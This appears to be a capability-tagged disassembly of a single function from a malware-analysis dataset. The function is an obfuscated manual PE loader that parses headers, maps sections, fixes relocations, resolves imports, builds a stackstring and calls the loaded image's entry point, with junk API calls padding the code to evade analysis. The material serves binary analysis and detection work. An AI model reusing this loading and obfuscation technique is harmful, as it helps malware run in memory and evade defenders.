Function at 0x401a4a
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x6c
mov esi, dword [ebp + 8]
call sub.KERNEL32.dll_GetLastError
call sub.KERNEL32.dll_GetCurrentProcessId
mov ebx, esi
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
cmp word [esi], 0x5a4d
je 0x401aa7
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
push eax
mov eax, 0x1e0f3
pop eax
mov eax, 0
jmp 0x40291e
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 0x3c], eax
call sub.USER32.dll_GetForegroundWindow
mov edx, dword [ebp - 0x3c]
cmp dword [edx], 0x4550
je 0x401b05
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov eax, 0
jmp 0x40291e
call sub.KERNEL32.dll_GetLastError
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
push ebp
mov ebp, 0x1240
pop ebp
mov ecx, dword [ebp - 0x3c]
mov edi, dword [ecx + 0x50]
mov eax, dword [ecx + 0x34]
mov dword [ebp - 0x44], eax
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x2000
mov dword [esp + 8], edi
mov edx, dword [ebp - 0x44]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0x50], eax
call sub.KERNEL32.dll_GetLastError
cmp dword [ebp - 0x50], 0
jne 0x401be9
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
mov ecx, dword [ebp - 0x3c]
mov edi, dword [ecx + 0x50]
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x2000
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0x50], eax
push edx
mov edx, 0x341d0
pop edx
call sub.KERNEL32.dll_GetCurrentProcessId
cmp dword [ebp - 0x50], 0
jne 0x401bda
call sub.KERNEL32.dll_GetCurrentProcessId
call sub.KERNEL32.dll_GetLastError
push edx
mov edx, 0x341d0
pop edx
mov eax, 0
jmp 0x40291e
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
call sub.KERNEL32.dll_GetProcessHeap
mov dword [esp + 8], 0x14
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_HeapAlloc
sub esp, 0xc
mov dword [ebp - 0x44], eax
push ebp
mov ebp, 0x1240
pop ebp
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x44]
mov dword [eax + 4], edx
push eax
mov eax, 0x1e0f3
pop eax
push edx
mov edx, 0x341d0
pop edx
mov dword [eax + 0xc], 0
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov ecx, dword [ebp - 0x44]
mov dword [ecx + 8], 0
call sub.KERNEL32.dll_GetCurrentThreadId
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov eax, dword [ebp - 0x44]
mov dword [eax + 0x10], 0
call sub.USER32.dll_GetForegroundWindow
call sub.USER32.dll_GetForegroundWindow
mov edx, dword [ebp - 0x3c]
mov edi, dword [edx + 0x50]
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], edi
mov ecx, dword [ebp - 0x50]
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov eax, dword [ebp - 0x3c]
mov edi, dword [eax + 0x54]
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], edi
mov edx, dword [ebp - 0x50]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov edi, eax
push edx
mov edx, 0x341d0
pop edx
mov eax, dword [ebx + 0x3c]
mov ecx, dword [ebp - 0x3c]
add eax, dword [ecx + 0x54]
mov dword [esp + 8], eax
mov dword [esp + 4], ebx
mov dword [esp], edi
call fcn.00401023
push eax
mov eax, 0x1e0f3
pop eax
add edi, dword [ebx + 0x3c]
mov eax, dword [ebp - 0x44]
mov dword [eax], edi
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
mov edx, dword [ebp - 0x44]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x50]
mov dword [eax + 0x34], ecx
push edx
mov edx, 0x341d0
pop edx
mov dword [ebp - 0x4c], esi
mov eax, dword [edx + 4]
mov dword [ebp - 0x48], eax
mov ebx, dword [edx]
movzx esi, word [ebx + 0x14]
call sub.USER32.dll_GetForegroundWindow
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov edx, dword [ebp - 0x44]
mov eax, dword [edx]
cmp word [eax + 6], 0
je 0x401f2c
movzx esi, si
add ebx, esi
add ebx, 0x18
mov esi, 0
call sub.KERNEL32.dll_GetCurrentProcessId
cmp dword [ebx + 0x10], 0
jne 0x401e7e
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
call sub.USER32.dll_GetForegroundWindow
mov ecx, dword [ebp - 0x3c]
mov edi, dword [ecx + 0x38]
push ebp
mov ebp, 0x1240
pop ebp
call sub.KERNEL32.dll_GetCurrentThreadId
test edi, edi
jle 0x401f14
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov eax, dword [ebp - 0x48]
add eax, dword [ebx + 0xc]
mov dword [ebp - 0x40], eax
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], edi
mov edx, dword [ebp - 0x40]
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov dword [ebp - 0x40], eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov ecx, dword [ebp - 0x40]
mov dword [ebx + 8], ecx
call sub.KERNEL32.dll_GetCurrentThreadId
push eax
mov eax, 0x1e0f3
pop eax
mov dword [esp + 8], edi
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call section..text
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
jmp 0x401f14
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov edi, dword [ebx + 0x10]
mov edx, dword [ebp - 0x48]
add edx, dword [ebx + 0xc]
mov dword [ebp - 0x40], edx
call sub.KERNEL32.dll_GetCurrentProcess
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], edi
mov ecx, dword [ebp - 0x40]
mov dword [esp + 4], ecx
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualAllocEx
sub esp, 0x14
mov edi, eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
mov eax, dword [ebx + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x4c]
add eax, dword [ebx + 0x14]
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00401023
call sub.KERNEL32.dll_GetLastError
mov dword [ebx + 8], edi
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
add esi, 1
mov edx, dword [ebp - 0x44]
mov eax, dword [edx]
movzx eax, word [eax + 6]
cmp esi, eax
jge 0x401f2c
add ebx, 0x28
jmp 0x401da7
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
push edx
mov edx, 0x341d0
pop edx
push eax
mov eax, 0x1e0f3
pop eax
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x3c]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x3c], eax
push edx
mov edx, 0x341d0
pop edx
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
cmp dword [ebp - 0x3c], 0
je 0x4020d7
push eax
mov eax, 0x1e0f3
pop eax
mov edx, dword [ebp - 0x44]
mov edx, dword [edx + 4]
mov dword [ebp - 0x48], edx
mov ecx, dword [ebp - 0x44]
mov ebx, dword [ecx]
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
push ebp
mov ebp, 0x1240
pop ebp
cmp dword [ebx + 0xa4], 0
je 0x4020c3
push edx
mov edx, 0x341d0
pop edx
mov esi, dword [ebp - 0x48]
add esi, dword [ebx + 0xa0]
push ebp
mov ebp, 0x1240
pop ebp
call sub.KERNEL32.dll_GetCurrentProcessId
mov eax, dword [esi]
test eax, eax
je 0x4020b5
add eax, dword [ebp - 0x48]
mov dword [ebp - 0x40], eax
call sub.KERNEL32.dll_GetLastError
mov eax, dword [esi + 4]
sub eax, 8
cmp eax, 1
jbe 0x40207d
mov edi, 0
movzx ebx, word [esi + edi*2 + 8]
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov eax, ebx
sar eax, 0xc
test eax, eax
je 0x402025
cmp eax, 3
jne 0x40206e
jmp 0x40203b
call sub.KERNEL32.dll_GetLastError
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
jmp 0x40206e
call sub.KERNEL32.dll_GetCurrentThreadId
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
and ebx, 0xfff
add ebx, dword [ebp - 0x40]
call sub.USER32.dll_GetForegroundWindow
push edx
mov edx, 0x341d0
pop edx
mov eax, dword [ebp - 0x3c]
add dword [ebx], eax
call sub.KERNEL32.dll_GetCurrentThreadId
add edi, 1
mov eax, dword [esi + 4]
sub eax, 8
shr eax, 1
cmp edi, eax
jb 0x402001
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
add esi, dword [esi + 4]
call sub.USER32.dll_GetForegroundWindow
mov eax, dword [esi]
test eax, eax
jne 0x401fe2
push eax
mov eax, 0x1e0f3
pop eax
push ebp
mov ebp, 0x1240
pop ebp
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
push ebp
mov ebp, 0x1240
pop ebp
cmp dword [0x409028], 0
jne 0x4021c6
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
push eax
mov eax, 0x1e0f3
pop eax
mov eax, dword [section..bss]
mov dword [esp + 4], sub.KERNEL32.dll_LoadLibraryA
lea edx, [eax + 0x1c]
mov dword [esp], edx
call eax
sub esp, 8
mov ebx, eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
mov byte [ebp - 0x29], 0x49
mov byte [ebp - 0x28], 0x73
mov byte [ebp - 0x27], 0x42
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x64
mov byte [ebp - 0x24], 0x52
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x61
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x50
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0
mov dword [esp + 8], sub.KERNEL32.dll_GetProcAddress
lea eax, [ebp - 0x29]
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [0x409004]
sub esp, 0xc
mov dword [0x409028], eax
push edx
mov edx, 0x341d0
pop edx
call sub.KERNEL32.dll_GetLastError
mov dword [esp + 4], sub.KERNEL32.dll_FreeLibrary
mov dword [esp], ebx
call dword [section..bss]
sub esp, 8
call sub.USER32.dll_GetForegroundWindow
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov edx, dword [ebp - 0x44]
mov edx, dword [edx + 4]
mov dword [ebp - 0x48], edx
mov ecx, dword [ebp - 0x44]
mov ebx, dword [ecx]
call sub.USER32.dll_GetForegroundWindow
push eax
mov eax, 0x1e0f3
pop eax
cmp dword [ebx + 0x84], 0
je 0x402926
mov eax, dword [ebp - 0x48]
add eax, dword [ebx + 0x80]
mov dword [ebp - 0x4c], eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
push ebp
mov ebp, 0x1240
pop ebp
jmp 0x4024e4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
jmp 0x402551
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov edx, dword [ebp - 0x44]
mov eax, dword [edx + 0xc]
lea ebx, [eax*4 + 4]
call sub.KERNEL32.dll_GetProcessHeap
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_HeapAlloc
sub esp, 0xc
mov ebx, eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov ecx, dword [ebp - 0x44]
mov esi, dword [ecx + 8]
call sub.KERNEL32.dll_GetProcessHeap
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.KERNEL32.dll_HeapFree
sub esp, 0xc
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
mov eax, dword [ebp - 0x44]
mov dword [eax + 8], ebx
push eax
mov eax, 0x1e0f3
pop eax
test ebx, ebx
jne 0x4022fb
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
push eax
mov eax, 0x1e0f3
pop eax
push edx
mov edx, 0x341d0
pop edx
jmp 0x402551
call sub.KERNEL32.dll_GetCurrentProcessId
mov edx, dword [ebp - 0x44]
mov eax, dword [edx + 0xc]
mov edx, dword [edx + 8]
mov ecx, dword [ebp - 0x40]
mov dword [edx + eax*4], ecx
add eax, 1
mov edx, dword [ebp - 0x44]
mov dword [edx + 0xc], eax
push ebp
mov ebp, 0x1240
pop ebp
call sub.KERNEL32.dll_GetLastError
mov ecx, dword [ebp - 0x4c]
cmp dword [ecx], 0
je 0x402358
call sub.KERNEL32.dll_GetCurrentProcessId
call sub.KERNEL32.dll_GetCurrentProcessId
mov esi, dword [ebp - 0x48]
mov eax, dword [ebp - 0x4c]
add esi, dword [eax]
call sub.KERNEL32.dll_GetCurrentThreadId
call sub.KERNEL32.dll_GetCurrentThreadId
mov edi, dword [ebp - 0x48]
mov edx, dword [ebp - 0x4c]
add edi, dword [edx + 0x10]
call sub.USER32.dll_GetForegroundWindow
jmp 0x40239c
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
push ebp
mov ebp, 0x1240
pop ebp
mov esi, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x4c]
add esi, dword [ecx + 0x10]
call sub.KERNEL32.dll_GetCurrentProcessId
mov edi, dword [ebp - 0x48]
mov eax, dword [ebp - 0x4c]
add edi, dword [eax + 0x10]
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
call sub.KERNEL32.dll_GetCurrentProcessId
cmp dword [esi], 0
je 0x4024b3
mov ebx, 0
call sub.KERNEL32.dll_GetCurrentProcessId
cmp dword [esi + ebx], 0
jns 0x4023ee
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
movzx eax, word [esi + ebx]
mov dword [esp + 4], eax
mov edx, dword [ebp - 0x40]
mov dword [esp], edx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [edi + ebx], eax
call sub.KERNEL32.dll_GetCurrentProcessId
call sub.USER32.dll_GetForegroundWindow
jmp 0x40244c
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
call sub.KERNEL32.dll_GetCurrentThreadId
mov ecx, dword [ebp - 0x48]
add ecx, dword [esi + ebx]
mov dword [ebp - 0x3c], ecx
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov eax, dword [ebp - 0x3c]
add eax, 2
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [edi + ebx], eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
push eax
mov eax, 0x1e0f3
pop eax
call sub.KERNEL32.dll_GetLastError
cmp dword [edi + ebx], 0
jne 0x4024a4
call sub.KERNEL32.dll_GetCurrentThreadId
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
jmp 0x402551
mov eax, dword [esi + ebx + 4]
add ebx, 4
test eax, eax
jne 0x4023af
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
add dword [ebp - 0x4c], 0x14
mov dword [esp + 4], 0x14
mov edx, dword [ebp - 0x4c]
mov dword [esp], edx
call dword [0x409028]
sub esp, 8
test eax, eax
jne 0x402930
mov ecx, dword [ebp - 0x4c]
cmp dword [ecx + 0xc], 0
je 0x402930
mov eax, dword [ebp - 0x48]
add eax, dword [ecx + 0xc]
mov dword [esp], eax
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [ebp - 0x40], eax
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
cmp dword [ebp - 0x40], 0
jne 0x402237
jmp 0x402214
call sub.USER32.dll_GetForegroundWindow
call sub.KERNEL32.dll_GetCurrentThreadId
nop
lea esi, [esi]
call sub.KERNEL32.dll_GetCurrentProcessId
jmp 0x4028f8
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov eax, dword [ebp - 0x44]
mov ebx, dword [eax]
movzx esi, word [ebx + 0x14]
call sub.KERNEL32.dll_GetCurrentProcessId
mov edx, dword [ebp - 0x44]
mov eax, dword [edx]
cmp word [eax + 6], 0
je 0x4027dd
movzx esi, si
add ebx, esi
add ebx, 0x18
mov edi, 0
mov eax, dword [ebx + 0x24]
push eax
mov eax, 0x1e0f3
pop eax
test eax, 0x2000000
je 0x402604
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
push ebp
mov ebp, 0x1240
pop ebp
mov dword [esp + 8], 0x4000
mov eax, dword [ebx + 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebx + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualFree
sub esp, 0xc
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
jmp 0x4027c5
push edx
mov edx, 0x341d0
pop edx
mov ecx, 0x409030
cmp byte [ecx], 0
jne 0x402655
mov ecx, eax
sar ecx, 0x1f
and ecx, 4
mov edx, eax
and edx, 0x40000000
cmp edx, 1
sbb edx, edx
not edx
and edx, 8
and eax, 0x20000000
cmp eax, 1
sbb eax, eax
not eax
and eax, 0x10
lea edx, [ecx + edx + 0x408320]
mov eax, dword [edx + eax]
mov dword [0x409038], eax
mov eax, 0x409030
mov byte [eax], 1
call sub.KERNEL32.dll_GetCurrentThreadId
test byte [ebx + 0x27], 4
je 0x40269f
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
mov eax, dword [0x409038]
or ah, 2
mov dword [0x409038], eax
call sub.KERNEL32.dll_GetLastError
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
push edx
mov edx, 0x341d0
pop edx
push edx
mov edx, 0x341d0
pop edx
mov esi, dword [ebx + 0x10]
call sub.USER32.dll_GetForegroundWindow
test esi, esi
jne 0x402756
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
push eax
mov eax, 0x1e0f3
pop eax
mov eax, dword [ebx + 0x24]
test al, 0x40
je 0x402718
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov edx, dword [ebp - 0x44]
mov eax, dword [edx]
mov esi, dword [eax + 0x20]
push edx
mov edx, 0x341d0
pop edx
push eax
mov eax, 0x1e0f3
pop eax
jmp 0x402740
test al, al
jns 0x402740
call sub.KERNEL32.dll_GetLastError
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx]
mov esi, dword [eax + 0x24]
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
push edx
mov edx, 0x341d0
pop edx
push edx
mov edx, 0x341d0
pop edx
test esi, esi
je 0x4027af
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov eax, dword [0x409038]
lea edx, [ebp - 0x1c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], esi
mov eax, dword [ebx + 8]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
test eax, eax
jne 0x40279b
call sub.KERNEL32.dll_GetCurrentProcessId
call sub.KERNEL32.dll_GetLastError
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
push eax
mov eax, 0x1e0f3
pop eax
add edi, 1
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx]
movzx eax, word [eax + 6]
cmp edi, eax
jge 0x4027dd
add ebx, 0x28
jmp 0x4025a4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
push ebp
mov ebp, 0x1240
pop ebp
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
mov edx, dword [ebp - 0x44]
mov eax, dword [edx]
cmp dword [eax + 0x28], 0
je 0x4028ee
push ebp
mov ebp, 0x1240
pop ebp
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindowVisible
sub esp, 4
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx]
mov ebx, dword [ebp - 0x50]
add ebx, dword [eax + 0x28]
call sub.KERNEL32.dll_GetCurrentThreadId
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
test ebx, ebx
jne 0x40285e
call sub.USER32.dll_GetForegroundWindow
call sub.KERNEL32.dll_GetLastError
call sub.KERNEL32.dll_GetCurrentThreadId
jmp 0x4028f8
mov dword [esp], 0x1b3
call sub.USER32.dll_IsWindow
sub esp, 4
push ebp
mov ebp, 0x1240
pop ebp
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x50]
mov dword [esp], eax
call ebx
sub esp, 0xc
push edx
mov edx, 0x341d0
pop edx
test eax, eax
jne 0x4028d1
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov dword [esp], 0x1b3
call sub.USER32.dll_IsIconic
sub esp, 4
mov dword [esp + 4], 0x1b3
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
jmp 0x4028f8
push edx
mov edx, 0x341d0
pop edx
push ebp
mov ebp, 0x1240
pop ebp
mov edx, dword [ebp - 0x44]
mov dword [edx + 0x10], 1
call sub.KERNEL32.dll_GetCurrentProcessId
call sub.KERNEL32.dll_GetCurrentProcessId
mov eax, dword [ebp - 0x44]
jmp 0x40291e
mov dword [esp], 0x1b3
call sub.USER32.dll_IsZoomed
sub esp, 4
mov ecx, dword [ebp - 0x44]
mov dword [esp], ecx
call fcn.00401600
push eax
mov eax, 0x1e0f3
pop eax
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
call sub.KERNEL32.dll_GetCurrentThreadId
jmp 0x40256a
call sub.USER32.dll_GetForegroundWindow
call sub.KERNEL32.dll_GetCurrentThreadId
jmp 0x40256a